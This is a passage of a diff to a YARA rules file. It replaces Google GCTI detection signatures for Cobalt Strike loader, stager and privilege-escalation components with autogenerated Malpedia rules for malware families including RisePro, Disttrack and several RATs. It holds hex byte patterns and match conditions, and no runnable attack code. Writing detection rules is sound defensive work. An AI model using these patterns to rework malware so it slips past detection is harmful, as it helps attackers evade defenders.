+		$sequence_16 = { 5e 85c0 7422 68???????? 50 }
+		$sequence_17 = { 0fb7c0 6683f805 7d09 b801000000 }
+		$sequence_18 = { 5e 85c0 7414 c705????????01000000 }
+		$sequence_19 = { 33f6 e8???????? e8???????? e8???????? e8???????? e8???????? e8???????? }
+		$sequence_20 = { 50 e8???????? 8b2d???????? 83c40c 6a00 }
+		$sequence_21 = { ff15???????? 8bf0 ff15???????? 3db7000000 751f 56 }
+		$sequence_22 = { 83c102 6685d2 75f5 2bce 8d1400 52 d1f9 }
+		$sequence_23 = { 75f5 8b0d???????? 2bc2 8b15???????? d1f8 }
+		$sequence_24 = { 751f 56 ff15???????? 33c0 }
+		$sequence_25 = { 6685c9 75f5 2bc6 8d0c12 }
+		$sequence_26 = { 2bc6 8d0c12 51 d1f8 }
+		$sequence_27 = { 8b35???????? 83c40c 68???????? ffd6 03c0 }
+		$sequence_28 = { 50 e8???????? b8???????? 83c40c 8d5002 }
+		$sequence_29 = { 75f5 8d0c12 2bc6 51 d1f8 8d544408 }
+		$sequence_30 = { d1f8 8d7102 8da42400000000 668b11 83c102 }
+		$sequence_31 = { 85c0 7409 6a02 68???????? }
+		$sequence_32 = { 50 ff15???????? 0fb74c2416 0fb7542414 }
+		$sequence_33 = { d1f8 8bd0 b8???????? 8d7002 8da42400000000 668b08 83c002 }
+		$sequence_34 = { 6685c9 75f5 2bc2 b9???????? d1f8 8d7102 668b11 }
+		$sequence_35 = { ffd6 50 68???????? 57 ffd6 03c7 50 }
+		$sequence_36 = { 56 57 68???????? 33ff 57 57 ff15???????? }
+		$sequence_37 = { e8???????? 83c40c eb0d 6a00 6800020000 }
+		$sequence_38 = { d1f8 8d7102 668b11 83c102 6685d2 75f5 8d1400 }
+		$sequence_39 = { 6685d2 75f5 8d1400 2bce 52 d1f9 }
+		$sequence_40 = { 6a00 6800020000 ff15???????? 68???????? }
+		$sequence_41 = { e8???????? 83c40c 6a00 68???????? ffd3 85c0 7409 }
+		$sequence_42 = { 6a5c 99 5f f7ff 83f801 }
+		$sequence_43 = { 0f87f5090000 ff248505eb0010 33c0 838df4fbffffff 8985a0fbffff }
+		$sequence_44 = { 48 48 8975f4 7479 83e848 745f }
+		$sequence_45 = { 56 8bc3 2bc1 6a5c 99 }
+		$sequence_46 = { 32a832d232e0 32e6 3209 3310 3329 333d???????? 335f33 }
 
 	condition:
-		all of them
+		7 of them and filesize <401408
 }
-rule GCTI_Cobaltstrike_Sleeve_Beaconloader_MVF_X64_O_V4_3_V4_4_V4_5_And_V4_6
+rule MALPEDIA_Win_Xbot_Pos_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's sleeve/BeaconLoader.MVF.x64.o (MapViewOfFile) Versions 4.3 through at least 4.6"
-		author = "gssincla@google.com"
-		id = "38e063db-3d76-5a94-812a-945fcf46a232"
-		date = "2022-11-18"
-		modified = "2022-11-19"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Sleeve_BeaconLoader_all.yara#L326-L374"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "9d5b6ccd0d468da389657309b2dc325851720390f9a5f3d3187aff7d2cd36594"
-		logic_hash = "6224000342d87041fd3336656897479c644e94ea36fc061c27fcd64233047c2c"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "4fe5918d-28da-56d9-a11a-0daee8e0859e"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xbot_pos"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.xbot_pos_auto.yar#L1-L128"
+		license_url = "N/A"
+		logic_hash = "ca7b720c096face03c032566840e8484d5e37cc5bc6f6baf53fbffd9b36ce27d"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$core_sig = {
-      C6 44 24 58 4D
-      C6 44 24 59 61
-      C6 44 24 5A 70
-      C6 44 24 5B 56
-      C6 44 24 5C 69
-      C6 44 24 5D 65
-      C6 44 24 5E 77
-      C6 44 24 5F 4F
-      C6 44 24 60 66
-      C6 44 24 61 46
-      C6 44 24 62 69
-      C6 44 24 63 6C
-      C6 44 24 64 65
-    }
+		$sequence_0 = { 8b8d50fcffff 8d148d34935500 899558fcffff 8d8d2cfeffff e8???????? 8b8558fcffff 0fb64803 }
+		$sequence_1 = { 46 4c 002c46 4c }
+		$sequence_2 = { 83e23f 6bc230 8b0c8de0465600 8b540118 8955f4 837df4ff 7412 }
+		$sequence_3 = { 8d8d74fcffff e8???????? eb1f 6a00 8d8560fcffff 50 8d8decfeffff }
+		$sequence_4 = { 8b4d08 51 8b4df8 e8???????? 8bf0 8b4df8 }
+		$sequence_5 = { 837d1800 740c c785d8deffffe8905400 eb0a c785d8deffff88905400 8b85a8deffff 50 }
+		$sequence_6 = { f3ab 0fb64508 85c0 741b 837d0c00 7515 8b4514 }
+		$sequence_7 = { 8b00 50 8b4df8 e8???????? 8b08 51 8b4df8 }
+		$sequence_8 = { 85db 7552 68???????? 68???????? 56 6a41 68???????? }
+		$sequence_9 = { 8b4508 8b0c853c255600 51 ff15???????? 8b5508 }
 
 	condition:
-		all of them
+		7 of them and filesize <3031040
 }
-rule GCTI_Cobaltstrike_Sleeve_Beaconloader_VA_X64_O_V4_3_V4_4_V4_5_And_V4_6
+rule MALPEDIA_Win_Nitlove_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's sleeve/BeaconLoader.VA.x64.o (VirtualAlloc) Versions 4.3 through at least 4.6"
-		author = "gssincla@google.com"
-		id = "8ca04f82-a8a8-5162-8b0c-8a7bce678a85"
-		date = "2022-11-18"
-		modified = "2022-11-19"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Sleeve_BeaconLoader_all.yara#L376-L456"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "ac090a0707aa5ccd2c645b523bd23a25999990cf6895fce3bfa3b025e3e8a1c9"
-		logic_hash = "17402e952d71d02274a9b2814512b28a402e8d11a6c2a2375844fe24719f87a6"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "b00aecde-2bc6-57bb-930b-a202a51e31ba"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nitlove"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nitlove_auto.yar#L1-L116"
+		license_url = "N/A"
+		logic_hash = "702803544b3494bdcd3ba717ae94381060ca7fe1c8bd808ab3cc38c9aa80bcd5"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$core_sig = {
-      C6 44 24 48 56
-      C6 44 24 49 69
-      C6 44 24 4A 72
-      C6 44 24 4B 74
-      C6 44 24 4C 75
-      C6 44 24 4D 61
-      C6 44 24 4E 6C
-      C6 44 24 4F 41
-      C6 44 24 50 6C
-      C6 44 24 51 6C
-      C6 44 24 52 6F
-      C6 44 24 53 63
-      C6 44 24 54 00
-    }
-		$deobfuscator = {
-      8B 04 24
-      FF C0
-      89 04 24
-      8B 44 24 28
-      39 04 24
-      73 20
-      8B 04 24
-      0F B6 4C 24 30
-      48 8B 54 24 20
-      0F BE 04 02
-      33 C1
-      8B 0C 24
-      48 8B 54 24 20
-      88 04 0A
-    }
+		$sequence_0 = { 8d85c4feffff b902000080 66a5 be???????? 8d7df8 50 8d45f8 }
+		$sequence_1 = { ff15???????? 85c0 74e1 837dfcff }
+		$sequence_2 = { ffd7 8b75f4 8b4df8 8b859cfaffff 8b95a0faffff 83c010 }
+		$sequence_3 = { 0f853d010000 6a00 56 baf3b33d04 }
+		$sequence_4 = { 8945d8 8b4508 8945c0 8b450c }
+		$sequence_5 = { e8???????? ffd0 bab2bb282b b9???????? }
+		$sequence_6 = { ba7f22fb0e b9???????? e8???????? ffd0 }
+		$sequence_7 = { 8bcb e8???????? ffd0 ff75fc ba07d457d6 8bcb }
+		$sequence_8 = { 0f84aa000000 53 56 57 e8???????? e8???????? 8d45f8 }
+		$sequence_9 = { ffd0 8b4dfc 6a00 8904b1 b9???????? 837dec00 }
 
 	condition:
-		all of them
+		7 of them and filesize <49152
 }
-rule GCTI_Cobaltstrike_Sleeve_Beaconloader_X64_O_V4_3_V4_4_V4_5_And_V4_6
+rule MALPEDIA_Win_Newcore_Rat_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's sleeve/BeaconLoader.x64.o (Base) Versions 4.3 through at least 4.6"
-		author = "gssincla@google.com"
-		id = "07f751e4-f001-5b95-b229-31fbaa867cea"
-		date = "2022-11-18"
-		modified = "2022-11-19"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Sleeve_BeaconLoader_all.yara#L458-L555"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "ac090a0707aa5ccd2c645b523bd23a25999990cf6895fce3bfa3b025e3e8a1c9"
-		logic_hash = "50d9da466e2c074b3fb634203c8840d45da8f8e3094790d7c4354a5703b583ef"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "665a19c1-0b9c-5837-8284-a9e9fed7fabd"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.newcore_rat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.newcore_rat_auto.yar#L1-L129"
+		license_url = "N/A"
+		logic_hash = "bc0ab135cc137a5ffe441affd5712e460cc93f003c5dd205f806c56bc27b56a3"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$core_sig = {
-      33 C0
-      83 F8 01
-      74 63
-      48 8B 44 24 20
-      0F B7 00
-      3D 4D 5A 00 00
-      75 45
-      48 8B 44 24 20
-      48 63 40 3C
-      48 89 44 24 28
-      48 83 7C 24 28 40
-      72 2F
-      48 81 7C 24 28 00 04 00 00
-      73 24
-      48 8B 44 24 20
-      48 8B 4C 24 28
-      48 03 C8
-      48 8B C1
-      48 89 44 24 28
-      48 8B 44 24 28
-      81 38 50 45 00 00
-      75 02
-    }
-		$deobfuscator = {
-      8B 04 24
-      FF C0
-      89 04 24
-      8B 44 24 28
-      39 04 24
-      73 20
-      8B 04 24
-      0F B6 4C 24 30
-      48 8B 54 24 20
-      0F BE 04 02
-      33 C1
-      8B 0C 24
-      48 8B 54 24 20
-      88 04 0A
-    }
+		$sequence_0 = { 8b08 8b11 50 8b4204 ffd0 8d4c2414 e8???????? }
+		$sequence_1 = { 898670300000 e8???????? 5f 5d b801000000 }
+		$sequence_2 = { 51 8d4c243c e8???????? 8d4c2414 e8???????? 8b542448 52 }
+		$sequence_3 = { 50 8d4c245e 51 6689442460 e8???????? 83c40c 6a30 }
+		$sequence_4 = { 6a00 6a00 8d542478 52 6a00 ff15???????? 85c0 }
+		$sequence_5 = { 8b442450 e9???????? 6830020000 8d442458 6a00 50 }
+		$sequence_6 = { 8b8610100000 85c0 740d 50 ffd7 c7861010000000000000 }
+		$sequence_7 = { 5b c21000 8d9344020000 68???????? 52 e8???????? 8bf0 }
+		$sequence_8 = { 83c40c 03f9 014c2414 eb04 8b5c240c 014c242c b81f85eb51 }
+		$sequence_9 = { 68???????? 8d9424ac060000 e8???????? 83c408 53 8d8c24a8060000 }
 
 	condition:
-		$core_sig and not $deobfuscator
+		7 of them and filesize <581632
 }
-rule GCTI_Cobaltstrike_Resources_Bypassuac_Dll_V1_49_To_V3_14_And_Sleeve_Bypassuac_Dll_V4_0_To_V4_X
+rule MALPEDIA_Win_Disttrack_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/bypassuac(-x86).dll from v1.49 to v3.14 (32-bit version) and sleeve/bypassuac.dll from v4.0 to at least v4.4"
-		author = "gssincla@google.com"
-		id = "614046b5-cf81-56a5-8824-b3a7e14a8ed5"
-		date = "2022-11-18"
-		modified = "2022-11-19"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Bypassuac_Dll_v1_49_to_v3_14_and_Sleeve_Bypassuac_Dll_v4_0_to_v4_x.yara#L17-L94"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "91d12e1d09a642feedee5da966e1c15a2c5aea90c79ac796e267053e466df365"
-		logic_hash = "7d59c0286f1936e386519a919472d01581b68a8167c89bd3cd3108d45251119a"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "2e51f756-65a0-5587-a62f-f2956dec5749"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.disttrack"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.disttrack_auto.yar#L1-L264"
+		license_url = "N/A"
+		logic_hash = "ea5b03edf12e9b7619694e3ef0c115e1438e4209a3ddaae7b74afa494e3c57a2"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 73
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$deleteFileCOM = {
-			A1 [4]
-			6A 00
-			8B ??
-			5?
-			5?
-			FF ?? 48
-			85 ??
-			75 ??
-			A1 [4]
-			5?
-			8B ??
-			FF ?? 54
-		}
-		$copyFileCOM = {
-			A1 [4]
-			6A 00
-			FF [2]
-			8B ??
-			FF [5]
-			FF [5]
-			5?
-			FF ?? 40
-			85 ??
-			[2 - 6]
-			A1 [4]
-			5?
-			8B ??
-			FF ?? 54
-		}
+		$sequence_0 = { 52 6a00 6a00 6848000700 }
+		$sequence_1 = { ff15???????? 5d 5b 8bc7 5f 5e }
+		$sequence_2 = { 68???????? ff15???????? 8d45dc 50 ff15???????? 8b4ddc }
+		$sequence_3 = { e8???????? 6a07 e8???????? 59 c3 6a10 }
+		$sequence_4 = { e8???????? 83c404 50 e8???????? 83c404 68???????? ff15???????? }
+		$sequence_5 = { 488bc8 e8???????? ebd1 498b94dca0940100 }
+		$sequence_6 = { 41bd08000000 4180fdfe 760d 488d0d392e0100 e8???????? }
+		$sequence_7 = { 7442 488d157a840000 488bcf e8???????? 85c0 7525 }
+		$sequence_8 = { 895c2440 895c2444 899c24d8000000 899c24b0000000 899c24b8000000 }
+		$sequence_9 = { 884c30ff 3bf3 72e6 8b75ec 6a00 }
+		$sequence_10 = { c3 8b04cd44ec4200 5d c3 0544ffffff }
+		$sequence_11 = { 57 4883ec20 488d0dc74a0100 e8???????? 48833d????????00 7510 488d0db14a0100 }
+		$sequence_12 = { 0fb7da 6683fa30 0f862b010000 8b44241c 33c9 66894c4422 66895c4420 }
+		$sequence_13 = { 885df3 8b4104 80781900 8bf9 7514 38580c }
+		$sequence_14 = { c7450800000000 e8???????? 68???????? 8d4df4 51 c745f46c924100 }
+		$sequence_15 = { e8???????? 03f0 56 e8???????? 83c404 c745fc00000000 }
+		$sequence_16 = { 51 ff15???????? 8b55d4 8955e4 8b45d8 }
+		$sequence_17 = { 8bc1 eb0c 0fb6c9 0fbe8968004200 }
+		$sequence_18 = { 8b4004 80781900 74ee 80791900 7505 8bc8 }
+		$sequence_19 = { 4533c0 498bd4 33c9 c744242800000008 895c2420 ff15???????? 85c0 }
+		$sequence_20 = { 75f9 2bc2 56 57 8d7801 }
+		$sequence_21 = { be01000000 4883630800 488d05cf450100 488903 488d4c2428 }
+		$sequence_22 = { 48634804 488d05b0270100 48894419e8 4883c430 }
+		$sequence_23 = { 52 50 68???????? ff15???????? 8d34f5b0044200 89442420 33ff }
+		$sequence_24 = { 7d13 4863ca 8a44191c 42888401602a0200 ffc2 ebe1 }
+		$sequence_25 = { 8d842498030000 64a300000000 8b4508 33db 89442430 }
+		$sequence_26 = { 3bc3 0f8476010000 68???????? 68???????? }
 
 	condition:
-		all of them
+		7 of them and filesize <1112064
 }
-rule GCTI_Cobaltstrike_Resources_Dnsstager_Bin_V1_47_Through_V4_X
+rule MALPEDIA_Win_Slub_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/dnsstager.bin signature for versions 1.47 to 4.x"
-		author = "gssincla@google.com"
-		id = "e1b0e368-9bcf-5d9b-b2b3-8414742f213e"
-		date = "2022-11-18"
-		modified = "2022-11-19"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Dnsstager_Bin_v1_47_through_v4_x.yara#L17-L78"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "10f946b88486b690305b87c14c244d7bc741015c3fef1c4625fa7f64917897f1"
-		logic_hash = "d4500d8a83a821e1df9e808b17a87c1207d78ea0e03886544a632176fe93ccd0"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "195b7942-1783-5df2-bcee-76020ab94f8f"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.slub"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.slub_auto.yar#L1-L133"
+		license_url = "N/A"
+		logic_hash = "654a15994e2d79fd54a129ac2f9c4ef4cc1a02067acc10e29921ff8e80b39dab"
 		score = 75
-		quality = 83
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$apiLocator = {
-			31 ??
-			AC
-			C1 ?? 0D
-			01 ??
-			38 ??
-			75 ??
-			03 [2]
-			3B [2]
-			75 ??
-			5?
-			8B ?? 24
-			01 ??
-			66 8B [2]
-			8B ?? 1C
-			01 ??
-			8B ?? 8B
-			01 ??
-			89 [3]
-			5?
-			5?
-		}
-		$dnsapi = { 68 64 6E 73 61 }
+		$sequence_0 = { ff742420 55 e8???????? 83c414 89442414 85c0 0f8512010000 }
+		$sequence_1 = { 807c241200 7407 c686e808000000 80beb406000000 740f ffb6b0060000 ff15???????? }
+		$sequence_2 = { c785bcf8ffffcce48f00 8bc8 c785c0f8ffffa0358400 c785c4f8ffff90e98500 e8???????? 8d95bcf8ffff c785bcf8ffffd8e48f00 }
+		$sequence_3 = { 85ff 750e 837d2c10 8d4518 0f43c2 3a08 7c13 }
+		$sequence_4 = { 85c0 0f8443ffffff 8b96f4000000 85d2 0f8435ffffff 8b8df0000000 6690 }
+		$sequence_5 = { 6800000100 6a00 6801000100 56 ff15???????? 89442414 85c0 }
+		$sequence_6 = { 898640010000 85c0 0f8416050000 57 e8???????? 83c404 85c0 }
+		$sequence_7 = { e8???????? 50 68???????? ffb50cfdffff e8???????? ffb50cfdffff }
+		$sequence_8 = { 8d8dc8ebffff 50 ffb5c8ebffff e8???????? 8b85c4ebffff c785dcebffff0f000000 c785d8ebffff00000000 }
+		$sequence_9 = { 8b86dc050000 89863c040000 8b86e0050000 898694040000 8b86e4050000 898640040000 8b86e8050000 }
 
 	condition:
-		$apiLocator and $dnsapi
+		7 of them and filesize <1785856
 }
-rule GCTI_Cobaltstrike_Resources_Elevate_X64_Dll_V3_0_To_V3_14_And_Sleeve_Elevate_X64_Dll_V4_X
+rule MALPEDIA_Win_Alreay_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/elevate.x64.dll signature for v3.0 to v3.14 and sleeve/elevate.x64.dll for v4.x"
-		author = "gssincla@google.com"
-		id = "91d5c343-1084-5cfc-9dfa-46f530eb9625"
-		date = "2022-11-18"
-		modified = "2022-11-19"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Elevate_X64_Dll_v3_0_to_v3_14_and_Sleeve_Elevate_X64_Dll_v4_x.yara#L17-L71"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "c3ee8a9181fed39cec3bd645b32b611ce98d2e84c5a9eff31a8acfd9c26410ec"
-		logic_hash = "6f23bcf6a0c360d2f83140ce633440b13d8b691e75c5560c65656cf8a6114224"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "9cdb1d27-466b-525b-895d-ad710c42b112"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.alreay"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.alreay_auto.yar#L1-L134"
+		license_url = "N/A"
+		logic_hash = "9b54d114d735844c857255b8100f13777f444dd5372ec863d1d85e3d492b2e7d"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$wnd_proc = {
-			81 ?? 21 01 00 00
-			75 ??
-			83 [5] 00
-			75 ??
-			45 33 ??
-			8D [2]
-			C7 [5] 01 00 00 00
-			45 [2] 28
-			FF 15 [4]
-			45 33 ??
-			8D [2]
-			45 [2] 27
-			48 [2]
-			FF 15 [4]
-			45 33 ??
-			45 33 ??
-			BA 01 02 00 00
-			48
-		}
+		$sequence_0 = { 8bca 83e103 03eb f3aa e9???????? 83fa07 7511 }
+		$sequence_1 = { 89b48484010000 8a442418 fec0 885c2420 8b5c2424 88442418 8b442420 }
+		$sequence_2 = { 894c2404 7407 b802000000 eb1d 8b90e8010000 85d2 7411 }
+		$sequence_3 = { 89442428 85c0 0f850c010000 8b442420 3bc7 7608 8bd7 }
+		$sequence_4 = { 8b8574010000 8bd1 23d0 83faff 0f848d000000 3bc3 7c55 }
+		$sequence_5 = { 8b15???????? 8b442414 8b742444 8b4c2448 42 40 83c604 }
+		$sequence_6 = { 8a16 8bcf 84d2 8bc6 741d 8a10 80fa5c }
+		$sequence_7 = { 8b8268020000 3bc1 0f852f040000 8b86b4040000 8bca 8b916c020000 3bd0 }
+		$sequence_8 = { bb16000000 3bc3 bf15000000 0f85f5010000 8b7500 8b86cc000000 8bd0 }
+		$sequence_9 = { 8d7c2448 83c9ff 33c0 8b54241c f2ae f7d1 49 }
 
 	condition:
-		$wnd_proc
+		7 of them and filesize <1867776
 }
-rule GCTI_Cobaltstrike_Resources_Artifact64_V1_49_V2_X_V3_0_V3_3_Thru_V3_14
+rule MALPEDIA_Win_Risepro_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/artifact64{.dll,.exe,big.exe,big.dll,bigsvc.exe,big.x64.dll} and resources/rtifactuac(alt)64.dll signature for versions v1.49, v2.x, v3.0, and v3.3 through v3.14"
-		author = "gssincla@google.com"
-		id = "67902782-500e-5a89-8b2a-59ee21bcba3e"
-		date = "2022-11-18"
-		modified = "2022-11-19"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Artifact64_v1_49_to_v4_x.yara#L17-L54"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "9ec57d306764517b5956b49d34a3a87d4a6b26a2bb3d0fdb993d055e0cc9920d"
-		logic_hash = "289950e89fc743ff4a1b7dcb91c561c7d829cfe3ade1c2f1a09f2e9701cce461"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "aea6ceb4-8818-596f-b0ea-b016b3dee8c1"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.risepro"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.risepro_auto.yar#L1-L125"
+		license_url = "N/A"
+		logic_hash = "4bf4a4e2719baa2456fbc7c987c0d3507fd8f7c3c54ce53243c1cdc1f6723c61"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$a = { 8B [2] 48 98 48 [2] 48 [3] 8B [2] 48 98 48 [3] 44 [3] 8B [2] 89 ?? C1 ?? 1F C1 ?? 1E 01 ?? 83 ?? 03 29 ?? 48 98 48 [3] 0F B6 00 44 [2] 88 }
+		$sequence_0 = { 0fb645ff 50 8b4de8 e8???????? 8b4dec 83c901 894dec }
+		$sequence_1 = { e8???????? 8945c8 8d4d0c e8???????? 8945cc 8d45d7 50 }
+		$sequence_2 = { 8bec 83ec0c 8955f8 894dfc 8b4dfc e8???????? 8bc8 }
+		$sequence_3 = { 894214 8b4df8 e8???????? 8945d4 837de010 }
+		$sequence_4 = { 8bcc 8965bc 8d552c 52 e8???????? 8945b8 c645fc04 }
+		$sequence_5 = { 33c0 8885eafeffff 33c9 888de9feffff }
+		$sequence_6 = { 6800000080 680000cf00 68???????? 68???????? 6800020000 ff15???????? 89859cfeffff }
+		$sequence_7 = { 6886e4fa74 6829895415 e8???????? 8b4dfc 894108 89510c }
+		$sequence_8 = { 33c5 8945ec 56 50 8d45f4 64a300000000 894da8 }
+		$sequence_9 = { 85ff 780f 3b3d???????? 7307 }
 
 	condition:
-		$a
+		7 of them and filesize <280576
 }
-rule GCTI_Cobaltstrike_Resources_Artifact64_V3_1_V3_2_V3_14_And_V4_0
+rule MALPEDIA_Win_Webc2_Adspace_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/artifact64{svcbig.exe,.dll,big.dll,svc.exe} and resources/artifactuac(big)64.dll signature for versions 3.14 to 4.x and resources/artifact32svc.exe for 3.14 to 4.x"
-		author = "gssincla@google.com"
-		id = "c9e9b8e0-16fe-5abc-b1fe-0e3e586f6db6"
-		date = "2022-11-18"
